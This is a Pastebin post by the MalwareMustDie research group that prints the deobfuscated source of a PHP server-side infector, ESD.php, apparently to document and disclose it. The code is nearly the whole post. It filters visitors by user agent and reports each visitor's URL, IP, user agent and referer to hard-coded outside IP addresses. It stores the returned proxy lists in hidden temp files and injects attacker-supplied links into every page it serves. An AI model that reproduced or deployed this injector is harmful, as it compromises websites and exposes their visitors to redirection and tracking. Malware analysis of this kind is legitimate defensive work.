Need a unique gift idea?
A Pastebin account makes a great Christmas gift
SHARE
TWEET

Blah!! New ESD.php Server Side Infector Logic

MalwareMustDie Jan 31st, 2014 546 Never
Upgrade to PRO!
ENDING IN00days00hours00mins00secs
 
  1. # MalwareMustDie
  2. # Credit: MMD Russia Team
  3. # New ESD.php logic whacked. NOT Cookiebomb.  < well noted.
  4.  
  5. error_reporting(0);
  6.  if (!function_exists("ZM5j2q0shf_pirogok")) {
  7.      function ZM5j2q0shf_pirogok() {
  8.          return false;
  9.      }
  10.  
  11.      function Uno_decode($String) {
  12.          $String = base64_decode($String);
  13.          $Salt = "dc5p9dOpBc";
  14.          $StrLen = strlen($String);
  15.          $Seq = "DMEf5HZuPq";
  16.          $Gamma = "";
  17.          while (strlen($Gamma) < $StrLen) {
  18.              $Seq = pack("H*", sha1($Gamma.$Seq.$Salt));
  19.              $Gamma. = substr($Seq, 0, 8);
  20.          }
  21.          return $String ^ $Gamma;
  22.      }
  23.  
  24.      function get_t_dir_mass() {
  25.          if (function_exists("sys_get_temp_dir")) {
  26.              if (@is_writeable(sys_get_temp_dir())) {
  27.                  $res[] = realpath(sys_get_temp_dir());
  28.              }
  29.          }
  30.          if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) {
  31.              $res[] = realpath($_ENV["TMP"]);
  32.          }
  33.          if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) {
  34.              $res[] = realpath($_ENV["TMPDIR"]);
  35.          }
  36.          if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) {
  37.              $res[] = realpath($_ENV["TEMP"]);
  38.          }
  39.          $tempfile = @tempnam(__FILE__, "");
  40.          if (@file_exists($tempfile)) {@
  41.              unlink($tempfile);
  42.              if (@is_writeable(realpath(dirname($tempfile)))) {
  43.                  $res[] = realpath(dirname($tempfile));
  44.              }
  45.          }
  46.          if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) {
  47.              $res[] = realpath(@ini_get("upload_tmp_dir"));
  48.          }
  49.          if (@is_writeable(realpath(session_save_path()))) {
  50.              $res[] = realpath(session_save_path());
  51.          }
  52.          if (@is_writeable(realpath(dirname(__FILE__)))) {
  53.              $res[] = realpath(dirname(__FILE__));
  54.          }
  55.          return array_unique($res);
  56.      }
  57.  
  58.      function get_ua() {
  59.          $name = get_true_name();
  60.          foreach(get_t_dir_mass() as $t) {
  61.              if (file_exists($t.DIRECTORY_SEPARATOR.$name)) {
  62.                  foreach(file($t.DIRECTORY_SEPARATOR.$name) as $tt) {
  63.                      $tt = Uno_decode($tt);
  64.                      if (strpos($tt, ".") === false) {
  65.                          $tmp = explode("|", $tt);
  66.                          foreach($tmp as $u) {
  67.                              $know[] = trim($u);
  68.                          }
  69.                      }
  70.                  }
  71.              }
  72.          }
  73.          if (count($know) == 0) {
  74.              $know[] = "msie";
  75.              $know[] = "firefox";
  76.              $know[] = "googlebot";
  77.          }
  78.          return array_unique($know);
  79.      }
  80.  
  81.      function get_true_name() {
  82.          return ".. ";
  83.      }
  84.  
  85.      function strposa($haystack, $needle, $offset = 0) {
  86.          if (!is_array($needle)) $needle = array($needle);
  87.          foreach($needle as $query) {
  88.              if (strpos($haystack, $query, $offset) !== false) return true;
  89.          }
  90.          return false;
  91.      }
  92.      if (isset($_SERVER["HTTP_USER_AGENT"])) {
  93.          $ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
  94.          $true_ua = get_ua();
  95.          if (strposa($ua, $true_ua)) {
  96.              function t_dir() {
  97.                  if (function_exists("sys_get_temp_dir")) {
  98.                      if (@is_writeable(sys_get_temp_dir())) {
  99.                          return realpath(sys_get_temp_dir());
  100.                      }
  101.                  }
  102.                  if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) {
  103.                      return realpath($_ENV["TMP"]);
  104.                  }
  105.                  if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) {
  106.                      return realpath($_ENV["TMPDIR"]);
  107.                  }
  108.                  if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) {
  109.                      return realpath($_ENV["TEMP"]);
  110.                  }
  111.                  $tempfile = @tempnam(__FILE__, "");
  112.                  if (@file_exists($tempfile)) {@
  113.                      unlink($tempfile);
  114.                      if (@is_writeable(realpath(dirname($tempfile)))) {
  115.                          return realpath(dirname($tempfile));
  116.                      }
  117.                  }
  118.                  if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) {
  119.                      return realpath(@ini_get("upload_tmp_dir"));
  120.                  }
  121.                  if (@is_writeable(realpath(session_save_path()))) {
  122.                      return realpath(session_save_path());
  123.                  }
  124.                  if (@is_writeable(realpath(dirname(__FILE__)))) {
  125.                      return realpath(dirname(__FILE__));
  126.                  }
  127.                  return null;
  128.              }
  129.  
  130.              function get_know_ip() {
  131.                  $know[] = "151.236.14.86";
  132.                  $know[] = "149.154.157.133";
  133.                  $know[] = "37.235.54.48";
  134.                  $know[] = "31.215.205.196";
  135.                  $name = get_true_name();
  136.                  foreach(get_t_dir_mass() as $t) {
  137.                      if (file_exists($t.DIRECTORY_SEPARATOR.$name)) {
  138.                          foreach(file($t.DIRECTORY_SEPARATOR.$name) as $tt) {
  139.                              $tt = Uno_decode($tt);
  140.                              if (strpos($tt, ".") > 0) {
  141.                                  $know[] = trim($tt);
  142.                              }
  143.                          }
  144.                      }
  145.                  }
  146.                  return array_unique($know);
  147.              }
  148.  
  149.              function save_know_ip($ip) {
  150.                  $name = get_true_name();
  151.                  $content = implode(PHP_EOL, $ip);
  152.                  foreach(get_t_dir_mass() as $t) {
  153.                      $f = fopen($t.DIRECTORY_SEPARATOR.$name, "w");
  154.                      fputs($f, $content);
  155.                      fclose($f);
  156.                  }
  157.              }
  158.  
  159.              function ZM5j2q0shf_get_real_ip() {
  160.                  $proxy_headers = array("CLIENT_IP", "FORWARDED", "FORWARDED_FOR", "FORWARDED_FOR_IP", "HTTP_CLIENT_IP", "HTTP_FORWARDED", "HTTP_FORWARDED_FOR", "HTTP_FORWARDED_FOR_IP", "HTTP_PC_REMOTE_ADDR", "HTTP_PROXY_CONNECTION", "HTTP_VIA", "HTTP_X_FORWARDED", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED_FOR_IP", "HTTP_X_IMFORWARDS", "HTTP_XROXY_CONNECTION", "VIA", "X_FORWARDED", "X_FORWARDED_FOR");
  161.                  foreach($proxy_headers as $proxy_header) {
  162.                      if (isset($_SERVER[$proxy_header]) && preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $_SERVER[$proxy_header])) {
  163.                          return $_SERVER[$proxy_header];
  164.                      } else if (stristr(",", $_SERVER[$proxy_header]) !== FALSE) {
  165.                          $proxy_header_temp = trim(array_shift(explode(",", $_SERVER[$proxy_header])));
  166.                          if (($pos_temp = stripos($proxy_header_temp, ":")) !== FALSE) $proxy_header_temp = substr($proxy_header_temp, 0, $pos_temp);
  167.                          if (preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $proxy_header_temp)) return $proxy_header_temp;
  168.                      }
  169.                  }
  170.                  return $_SERVER["REMOTE_ADDR"];
  171.              }
  172.  
  173.              function ZM5j2q0shf_get_url() {
  174.                  $url = "http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
  175.                  if (strpos($url, "?") !== false) {
  176.                      $url = substr($url, 0, strpos($url, "?"));
  177.                  }
  178.                  return $url;
  179.              }
  180.  
  181.              function ZM5j2q0shf_get_contents($ip, $page) {
  182.                  if (function_exists("curl_init")) {
  183.                      $ch = curl_init("http://".$ip.
  184.                          "/".$page);
  185.                      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  186.                      curl_setopt($ch, CURLOPT_TIMEOUT, 3);
  187.                      $ult = trim(curl_exec($ch));
  188.                      return $ult;
  189.                  }
  190.                  if (ini_get("allow_url_fopen")) {
  191.                      $ult = trim(@file_get_contents("http://".$ip.
  192.                          "/".$page));
  193.                      return $ult;
  194.                  }
  195.                  $fp = fsockopen($ip, 80, $errno, $errstr, 30);
  196.                  if ($fp) {
  197.                      $out = "GET $page HTTP/1.0\r\n";
  198.                      $out. = "Host: $ip\r\n";
  199.                      $out. = "Connection: Close\r\n\r\n";
  200.                      fwrite($fp, $out);
  201.                      $ret = "";
  202.                      while (!feof($fp)) {
  203.                          $ret. = fgets($fp, 128);
  204.                      }
  205.                      fclose($fp);
  206.                      $ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4));
  207.                  }
  208.                  return $ult;
  209.              }
  210.  
  211.              function ZM5j2q0shf_samui_get_links() {
  212.                  $all = get_know_ip();
  213.                  shuffle($all);
  214.                  $url = ZM5j2q0shf_get_url();
  215.                  $real_ip = ZM5j2q0shf_get_real_ip();
  216.                  $ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
  217.                  $aid = "1001";
  218.                  $cod = md5($url.time());
  219.                  $check = md5($cod);
  220.                  $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));
  221.                  $ref = urlencode(strtolower($_SERVER["HTTP_REFERER"]));
  222.                  $page = "/ml.php?mother=www.hdpengineering.com&cr=1&aid=".$aid.
  223.                  "&url=".$url.
  224.                  "&ip=".$real_ip.
  225.                  "&ua=".$ua.
  226.                  "&cod=".$cod.
  227.                  "&ref=".$ref;
  228.                  foreach($all as $ip) {
  229.                      $tc = ZM5j2q0shf_get_contents(trim($ip), $page);
  230.                      $pos = strpos($tc, $check);
  231.                      if ($pos !== false) {
  232.                          $proxy_list = substr($tc, 0, $pos);
  233.                          save_know_ip(explode("\n", $proxy_list));
  234.                          $links = substr($tc, $pos + 32);
  235.                          return $links;
  236.                      }
  237.                  }
  238.              }
  239.  
  240.              function ZM5j2q0shf_mod_con($con) {
  241.                  if (strpos($con, "<body") !== false) {
  242.                      $text = preg_replace("/<body(\s[^>]*)?>/i", "<body\1>".ZM5j2q0shf_samui_get_links(), $con, 1);
  243.                      return $text;
  244.                  } else {
  245.                      return $con;
  246.                  }
  247.              }
  248.  
  249.              function ZM5j2q0shf_callback($buf) {
  250.                  if (headers_sent()) {
  251.                      if (in_array("Content-Encoding: gzip", headers_list())) {
  252.                          $tmpfname = tempnam(t_dir(), "FOO");
  253.                          $zf = fopen($tmpfname, "w");
  254.                          fputs($zf, $buf);
  255.                          fclose($zf);
  256.                          $zd = gzopen($tmpfname, "r");
  257.                          $contents = gzread($zd, 10000000);
  258.                          $contents = ZM5j2q0shf_mod_con($contents);
  259.                          gzclose($zd);
  260.                          unlink($tmpfname);
  261.                          $contents = gzencode($contents);
  262.                      } else {
  263.                          $contents = ZM5j2q0shf_mod_con($buf);
  264.                      }
  265.                  } else {
  266.                      $contents = ZM5j2q0shf_mod_con($buf);
  267.                  }
  268.                  return ($contents);
  269.              }
  270.              ob_start("ZM5j2q0shf_callback");
  271.          }
  272.      }
  273.  }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top